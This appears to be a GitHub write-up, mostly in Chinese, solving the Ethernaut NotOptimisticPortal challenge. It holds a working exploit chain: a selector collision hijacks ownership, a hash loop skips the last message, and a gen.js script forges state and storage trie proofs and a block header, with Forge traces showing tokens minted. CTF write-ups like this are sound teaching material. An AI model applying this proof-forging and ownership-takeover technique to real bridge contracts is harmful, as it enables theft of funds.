Skip to content

anon-cBE4/ethernaut_NotOptimisticPortal

Repository files navigation

NotOptimisticPortal Writeup

这是一个模拟 L2 合约的挑战

Overview

首先,用 AI 读懂这个合约,一共三个API。

constructor

bytes memory _rlpBlockHeader 拆分为 bytes32 parentHash, bytes32 stateRoot, uint256 blockNumber, uint256 timestamp,存储到全局状态里。

function executeMessage

这里存在明显的漏洞,违反了 C-E-I原则,它会向 address[] calldata _messageReceivers, bytes[] calldata _messageData 逐个派送消息,然后调用 _verifyMessageInclusion,该函数会进行严格的校验,查看入参的hash是否符合 L2State 的记载,校验失败则触发回滚,无法执行后续的铸币。

function sendMessage

同上,但执行的是 burn

Mission

铸造至少1个币。

Technical Challenges

_verifyMessageInclusion 使用的数据来自 constructor,它会校验 message hash 是否与 l2StateRoots[bufferIndex] 的记载完全相同,所以这个校验是无法通过的。

Vulnerablity

Vuln1: Call external contract

function _executeOperation(
    address target,
    bytes calldata callData,
    bool isGovernanceAction
) internal {
    if(!isGovernanceAction){
        // Ensure the execution is the onMessageReceived(bytes) entrypoint on the target address
        require(bytes4(callData[0:4]) == bytes4(0x3a69197e), "Invalid message entrypoint");
    }
    (bool success, ) = target.call(callData);
    require(success, "Execution failed");
}

允许调用 onMessageReceived(bytes) 函数,事实上,允许调用任何满足 bytes4(0x3a69197e) 约束的函数。

Vuln2: _computeMessageSlot error length

if(_messageReceivers.length != 0){
    for(uint i; i < _messageReceivers.length - 1; i++){
        messageReceiversAccumulatedHash = keccak256(abi.encode(messageReceiversAccumulatedHash, _messageReceivers[i]));
        messageDatasAccumulatedHash = keccak256(abi.encode(messageDatasAccumulatedHash, _messageDatas[i]));
    }
}

messageReceivers.length - 1,跳过了最后一组消息。

Cannot use delegatecall bypass onlyOwner

modifier onlyOwner() {
    require(msg.sender == owner || msg.sender == address(this), "Caller not owner");
    _;
}

这个函数写得很严格,一开始我想通过外部的 onMessageReceived 进行 delegatecall 绕过检查,但失败了,因为会触发 msg.sender == address(this),只允许owner或者合约本身来调用。

Exploit Strategy

Step1: keccak256(transferOwnership_____610165642(address)) == 0x3a69197e

事实上,这是最难的一步。

这几个函数的命名很奇怪,全部带了一串数字,尚未明确添加数字的意图,而且全部都有权限限制。

    // Permissioned function (optimized to be at the end of the function selector dispatching)
    function submitNewBlock_____37278985983(bytes memory rlpBlockHeader) external onlySequencer {
        (bytes32 parentHash, bytes32 stateRoot, uint256 blockNumber, uint256 timestamp) = _extractData(rlpBlockHeader);
        _updateL2State(keccak256(rlpBlockHeader), parentHash, stateRoot, blockNumber, timestamp);
    }

    function updateSequencer_____76439298743(address newSequencer) external onlyOwner {
        sequencer = newSequencer;
    }

    function transferOwnership_____610165642(address newOwner) external onlyOwner {
        owner = newOwner;
    }

    function governanceAction_____2357862414(address target, bytes calldata callData) external onlyGovernance {
        _executeOperation(target, callData, true);
    }
  • submitNewBlock_____37278985983,更新 L2State,需要 msg.sender == sequencer,看起来很有用。
  • updateSequencer_____76439298743,设置 sequencer,需要 onlyOwner,看起来很有用。
  • transferOwnership_____610165642,设置 owner,需要 onlyOwner,看起来很有用。
  • governanceAction_____2357862414,以任意身份执行任意命令,需要 msg.sender == governance,究极逆天的后门功能。

很可惜,这些强力的 API 都有限制。

反复思考后,认为入口肯定是 executeMessage,它可以调用到 _executeOperation,执行调用需要满足两个条件之一:

  • isGovernanceAction,它始终为false
  • bytes4(callData[0:4]) == bytes4(0x3a69197e),问题就出现在这里!

万一万一万一,我说万一,某个函数的hash恰好是 0x3a69197e 呢?还真找到一个!

pic1.png

transferOwnership_____610165642(address) 可以被调用!因此,将攻击合约设置为owner。

Step2: updateSequencer_____76439298743

攻击合约已经是owner了,可以调用 updateSequencer_____76439298743 将自己设置为 sequencer

Step3: submitNewBlock_____37278985983

攻击合约已经是sequencer了,因此可以设置 L2State,将精心构造的数据刷新到全局状态中,从而通过 _verifyMessageInclusion 的检查。

Rock and roll

计算 withdrawlHash

哈希的素材包括:

  • _tokenReceiver, 铸造的目标,无所谓是谁,合法的地址即可
  • _amount,铸币的数量,大于1即可
  • _messageReceivers & _messageDatas,外部调用的数据,注意,它不检查最后一组数据
    • [0]: (address_of_instance, "transferOwnership_____610165642(address_of_attack_contract)")
    • [1]: (address_of_attack_contract, "onMessageReceived(bytes)")
  • _salt,盐,可以是任意值

因此,可以轻松预测出哈希的数据,将 _computeMessageSlot 抠出来运行即可。

计算 L2State

计算 L2State 的素材包括:

  • withdrawalHash,上一步计算出来的哈希
  • _proofs.stateTrieProof & _proofs.storageTrieProof & _proofs.accountStateRlp,L2的数据
  • _bufferIndex,存储槽位,需要保证 l2StateRoots[bufferIndex] 存放的数据将参与计算

_updateL2State中,参与计算的数据包括:

  • bufferCount = 1
  • IMPORTANT: l2StateRoots[bufferCounter] = newRootState
  • IMPORTANT: bufferCounter = (bufferCounter + 1) % 1000

因此,可以离线算出一套数据,满足 _verifyMessageInclusion 的校验。

如何计算它,说实话我也不懂,不断和 LLM 交互直到拿到正确的计算结果和验证。

gen.js

const { RLP } = require('@ethereumjs/rlp');
const { Trie } = require('@ethereumjs/trie');
const createKeccakHash = require('keccak');

// === 配置常量 (必须与题目环境一致) ===
const CONFIG = {
    WITHDRAWAL_HASH: "0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c",
    L2_TARGET:       "0x4242424242424242424242424242424242424242",
    PREV_HASH:       "0xed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9",
    PREV_NUM:        60806040,
    PREV_TIME:       1606824023
};

// === 辅助工具 ===
const k256 = (x) => createKeccakHash('keccak256').update(x).digest();
const toBuf = (val) => {
    if (Buffer.isBuffer(val)) return val;
    if (typeof val === 'string') return Buffer.from(val.startsWith('0x') ? val.slice(2) : val, val.startsWith('0x') ? 'hex' : 'utf8');
    if (typeof val === 'number') {
        if (val === 0) return Buffer.alloc(0);
        let hex = val.toString(16);
        return Buffer.from((hex.length % 2 ? '0' : '') + hex, 'hex');
    }
    throw new Error('Invalid type');
};

async function main() {
    try {
        console.log("Generating payload...\n");

        // 1. Storage Trie: 证明 WITHDRAWAL_HASH 的值是 0x01
        // ------------------------------------------------------------------
        const storageTrie = new Trie({ useKeyHashing: true });
        const storageKey = toBuf(CONFIG.WITHDRAWAL_HASH);
        await storageTrie.put(storageKey, RLP.encode(toBuf("0x01")));

        const storageRoot = storageTrie.root();
        const storageProof = RLP.encode(await storageTrie.createProof(storageKey));

        // 2. Account State: 构建账户,把 storageRoot 塞进去
        // ------------------------------------------------------------------
        // 结构: [nonce, balance, storageRoot, codeHash]
        const accountData = [0, 0, storageRoot, k256(Buffer.from(''))];
        const accountRlp = RLP.encode(accountData);

        // 3. State Trie: 证明 L2_TARGET 的状态是上面的 Account
        // ------------------------------------------------------------------
        const stateTrie = new Trie({ useKeyHashing: true });
        const targetAddr = toBuf(CONFIG.L2_TARGET);
        await stateTrie.put(targetAddr, accountRlp);

        const stateRoot = stateTrie.root(); // <--- 这个 Root 包含了所有的伪造信息
        const stateProof = RLP.encode(await stateTrie.createProof(targetAddr));

        // 4. Block Header: 构建区块头,把 stateRoot 塞进去
        // ------------------------------------------------------------------
        // 标准以太坊区块头 (15个字段),stateRoot 在第 4 位 (index 3)
        const headerData = [
            toBuf(CONFIG.PREV_HASH),                                    // parentHash
            toBuf("0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347"), // ommersHash
            toBuf("0x0000000000000000000000000000000000000000"),        // miner
            stateRoot,                                                  // stateRoot (关键!)
            toBuf("0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"), // txRoot
            toBuf("0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"), // receiptsRoot
            toBuf("0x0000000000000000"),                                // bloom (简化)
            toBuf(1),                                                   // difficulty
            toBuf(CONFIG.PREV_NUM + 1),                                 // number
            toBuf(30000000),                                            // gasLimit
            toBuf(0),                                                   // gasUsed
            toBuf(CONFIG.PREV_TIME + 100),                              // timestamp
            toBuf("0x"),                                                // extraData
            toBuf("0x0000000000000000000000000000000000000000000000000000000000000000"), // mixHash
            toBuf("0x0000000000000000")                                 // nonce
        ];
        const rlpHeader = RLP.encode(headerData);

        // === 输出可以直接复制到 Solidity 的代码 ===
        const p = (uint8array) => `hex"${Buffer.from(uint8array).toString('hex')}"`;

        console.log("// [Solidity] Copy into attack():");
        console.log(`proofs.stateTrieProof = ${p(stateProof)};`);
        console.log(`proofs.storageTrieProof = ${p(storageProof)};`);
        console.log(`proofs.accountStateRlp = ${p(accountRlp)};`);
        console.log("\n// [Solidity] Copy into onMessageReceived():");
        console.log(`bytes memory rlpHeader = ${p(rlpHeader)};`);

    } catch (e) {
        console.error(e);
    }
}

main();
$ node gen.js
Generating payload...

// [Solidity] Copy into attack():
proofs.stateTrieProof = hex"f86eb86cf86aa120352a47fc6863b89a6b51890ef3c1550d560886c027141d2058ba1e2d4c66d99ab846f8448080a0684336256c2b7b6b52d8ffd629dcbdb9cb95131e45ed01cde028bfac9fd0f16fa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470";
proofs.storageTrieProof = hex"e5a4e3a120d57101a72c27f959b9315f1265a21fd3f10f5d9be035aa5ba4d78f578dc00f6a01";
proofs.accountStateRlp = hex"f8448080a0684336256c2b7b6b52d8ffd629dcbdb9cb95131e45ed01cde028bfac9fd0f16fa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470";

// [Solidity] Copy into onMessageReceived():
bytes memory rlpHeader = hex"f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0377466d70e80be111c77677f064ab145dbec51595c018c54bfed1896b8fcaa8ca0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000";

One more thing, where to store the payload

withdrawlHash 的计算需要提前知道 attacker_contract 的地址,attacker_contract 的逻辑代码需要提前知道 withdrawlHash 的值。

看起来这是一个鸡生蛋和蛋生鸡的问题,不过仍然有很多种解决方案。

举例1:使用在 attacker_contract 里提供一个较长的storage,在部署后单独发送交易来赋值。很麻烦,于是我想了一个巧妙的方法。

举例2:由于 vuln2 的存在,_messageReceivers[1]_messageData[1] 是参与哈希计算的,也就是说,onMessageReceived(bytes) 的参数可以随意指定,不影响整体结果。这样在部署了攻击合约后,就有无限次进行尝试的机会。这很可能是出题人的怜悯

One Punch

Parameter Type Value
_tokenReceiver address 0x8888888888888888888888888888888888888888
_amount uint256 1
_messageReceivers address[] [instance, attacker_contract]
_messageData bytes[] ["transferOwnership_____610165642(address_of_attack_contract)", "onMessageReceived(bytes)"]
_salt uint256 1
_proofs ProofData CALCULATE
_bufferIndex uint16 1

整体流程

+--------------+           +-----------------------------+           +--------------------+
| AttackScript |           |       Target Protocol       |           |  Attacker Contract |
|              |           |       (0xCb34...9b09)       |           |   (0x549c...E217)  |
+------+-------+           +-------------+---------------+           +---------+----------+
       |                                 |                                     |
       | executeMessage(...)             |                                     |
       |-------------------------------->|                                     |
       |                                 |                                     |
       |                                 | 1. transferOwnership(Attacker)      |
       |                                 |-----\                               |
       |                                 |     | Self-Call                     |
       |                                 |<----/                               |
       |                                 |                                     |
       |                                 | 2. onMessageReceived(...)           |
       |                                 |------------------------------------>|
       |                                 |                                     |
       |                                 |        updateSequencer(...)         |
       |                                 | <-----------------------------------|
       |                                 |                                     |
       |                                 |        submitNewBlock(...)          |
       |                                 | <-----------------------------------|
       |                                 |                                     |
       |                                 |<-------------------------[Return]---|
       |                                 |                                     |
       |                                 | 3. _verifyMessageInclusion()        |
       |                                 |-----\   Check Proof                 |
       |                                 |     |  Self-Call                    |
       |                                 |<----/                               |
       |                                 |                                     |
       |<------------[Stop]--------------|                                     |
       |                                 |                                     |

pic2.png

Logcat

Attack hash: 0x27550233cf3e4681ede5978bf271e743d249c9ecac63965b02ba6919a21dcc58

Local test:

forge test --match-path test/Attack.t.sol -vvvv
$ forge test --match-path test/Attack.t.sol -vvvv
[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for test/Attack.t.sol:AttackTest
[PASS] test_Attack_Takeover_TraceOnly() (gas: 526023)
Traces:
  [528823] AttackTest::test_Attack_Takeover_TraceOnly()
    ├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
    │   └─ ← [Return]
    ├─ [509079] NotOptimisticPortal::executeMessage(0x8888888888888888888888888888888888888888, 1, [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a], [0x3a69197e000000000000000000000000959951c51b3e4b4eaa55a13d1d761e14ad0a1d6a, 0x3a69197e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000202f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000000000000000000000000000000000000000000000000000000000000000], 1, ProofData({ stateTrieProof: 0xf86eb86cf86aa120352a47fc6863b89a6b51890ef3c1550d560886c027141d2058ba1e2d4c66d99ab846f8448080a0b538f6ce53e59d01c60a3aabcb910c4065e1f080cd72f2a812f9a8605af69f15a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, storageTrieProof: 0xe5a4e3a1205a85025c44aa66bf877c387294c6426666f066c490f5a969471247d6bc63b3ba01, accountStateRlp: 0xf8448080a0b538f6ce53e59d01c60a3aabcb910c4065e1f080cd72f2a812f9a8605af69f15a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 }), 1)
    │   ├─ [5812] NotOptimisticPortal::transferOwnership_____610165642(Attack: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
    │   │   └─ ← [Stop]
    │   ├─ [117505] Attack::onMessageReceived(0xf8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000)
    │   │   ├─ [22934] NotOptimisticPortal::updateSequencer_____76439298743(Attack: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
    │   │   │   └─ ← [Stop]
    │   │   ├─ [87221] NotOptimisticPortal::submitNewBlock_____37278985983(0xf8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000)
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x8888888888888888888888888888888888888888, value: 1)
    │   ├─ emit MessageExecuted(to: 0x8888888888888888888888888888888888888888, amount: 1, targetAddresses: [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a], executionDatas: [0x3a69197e000000000000000000000000959951c51b3e4b4eaa55a13d1d761e14ad0a1d6a, 0x3a69197e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000202f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000f8ffa0ed20f024a9b5b75b1dd37fe6c96b829ed766d78103b3ab8f442f3b2ebbc557b9a01dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347940000000000000000000000000000000000000000a0e9789400281709038288ee73d6d8b8051ee8b93faac345df1bbd8f6d1ab6d11aa0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470a0c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708800000000000000000184039fd3998401c9c38080845fc630bb80a00000000000000000000000000000000000000000000000000000000000000000880000000000000000000000000000000000000000000000000000000000000000000000000000], salt: 1)
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    └─ ← [Stop]

[PASS] test_ComputeMessageSlotLastElementBug() (gas: 22946)
Logs:
  Hash 1 (base parameters):
  0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c
  Hash 2 (last element modified):
  0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c
  Bug verified: _computeMessageSlot skips the last element with these parameters.

Traces:
  [22946] AttackTest::test_ComputeMessageSlotLastElementBug()
    ├─ [0] console::log("Hash 1 (base parameters):") [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log(0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← [Return] new_attack_address: [0xA99904F35c97d9C112947a373038b04903c357E7]
    ├─ [0] VM::label(new_attack_address: [0xA99904F35c97d9C112947a373038b04903c357E7], "new_attack_address")
    │   └─ ← [Return]
    ├─ [0] console::log("Hash 2 (last element modified):") [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log(0xbfa6f6580d480f8466d7a64ad23cbd7998d909ee43732c416a53832a12451f1c) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Bug verified: _computeMessageSlot skips the last element with these parameters.") [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

About

writeup for NotOptimisticPortal

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors